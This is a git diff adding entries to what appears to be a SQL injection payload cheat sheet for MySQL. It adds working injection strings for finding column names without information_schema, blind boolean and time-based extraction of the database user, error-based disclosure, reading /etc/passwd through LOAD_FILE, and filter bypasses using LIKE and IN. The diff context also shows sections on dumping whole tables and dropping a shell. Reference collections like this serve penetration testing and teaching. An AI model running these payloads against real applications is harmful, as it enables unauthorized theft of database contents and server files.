diff --git a/SQL injection/MySQL Injection.md b/SQL injection/MySQL Injection.md
index f9e99fc..cf4f672 100644
--- a/SQL injection/MySQL Injection.md	
+++ b/SQL injection/MySQL Injection.md	
@@ -30,6 +30,35 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_sc
 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
 ```
 
+### Extract columns name without information_schema
+
+Method for `MySQL >= 4.1`.
+
+First extract the column number with 
+```sql
+?id=(1)and(SELECT * from db.users)=(1)
+-- Operand should contain 4 column(s)
+```
+
+Then extract the column name.
+```sql
+?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
+--Column 'id' cannot be null
+```
+
+Method for `MySQL 5`
+
+```sql
+-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
+--#1060 - Duplicate column name 'id'
+
+-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
+-- #1060 - Duplicate column name 'name'
+
+-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
+...
+```
+
 ### Extract data without information_schema 
 
 Extracting data from the 4th column without knowing its name.
@@ -40,7 +69,7 @@ select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
 
 Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
 
-````sql
+```sql
 MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
 +-----------+-----------------------------------------------------------------+
 | author_id | title                                                           |
@@ -52,6 +81,8 @@ MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union se
 
 ## MYSQL Error Based - Basic
 
+Works with `MySQL >= 4.1`
+
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
@@ -76,6 +107,8 @@ Shorter to read:
 
 ## MYSQL Error Based - Extractvalue function
 
+Works with `MySQL >= 5.1`
+
 ```sql
 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
@@ -84,6 +117,16 @@ AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(12
 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
 ```
 
+## MYSQL Blind with substring equivalent
+
+```sql
+?id=1 and substring(version(),1,1)=5
+?id=1 and right(left(version(),1),1)=5
+?id=1 and left(version(),1)=4
+?id=1 and ascii(lower(substr(Version(),1,1)))=51
+?id=1 and (select mid(version(),1,1)=4)
+```
+
 ## MYSQL Blind using a conditional statement
 
 TRUE: `if @@version starts with a 5`:
@@ -129,12 +172,9 @@ SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
 AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
 RLIKE SLEEP([SLEEPTIME])
 OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
-```
 
-## MYSQL Read content of a file
-
-```sql
-' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
+?id=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
+?id=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
 ```
 
 ## MYSQL DIOS - Dump in One Shot
@@ -144,6 +184,14 @@ OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
 (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
 ```
 
+## MYSQL Read content of a file
+
+Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
+
+```sql
+' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
+```
+
 ## MYSQL DROP SHELL
 
 ```sql
@@ -178,8 +226,8 @@ select 'osanda' into outfile '\\\\error\\abc';
 load data infile '\\\\error\\abc' into table database.table_name;
 ```
 
-
 ## References
 
 - [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
-- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
\ No newline at end of file
+- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
+- [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1)
\ No newline at end of file
diff --git a/SQL injection/README.md b/SQL injection/README.md
index 8956787..3a1b845 100644
--- a/SQL injection/README.md	
+++ b/SQL injection/README.md	
@@ -415,6 +415,14 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
 SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
 ```
 
+No Equal - bypass using LIKE/NOT IN/IN
+
+```sql
+?id=1 and substring(version(),1,1)like(5)
+?id=1 and substring(version(),1,1)not in(4,3)
+?id=1 and substring(version(),1,1)in(4,3)
+```
+
 Blacklist using keywords - bypass using uppercase/lowercase
 
 ```sql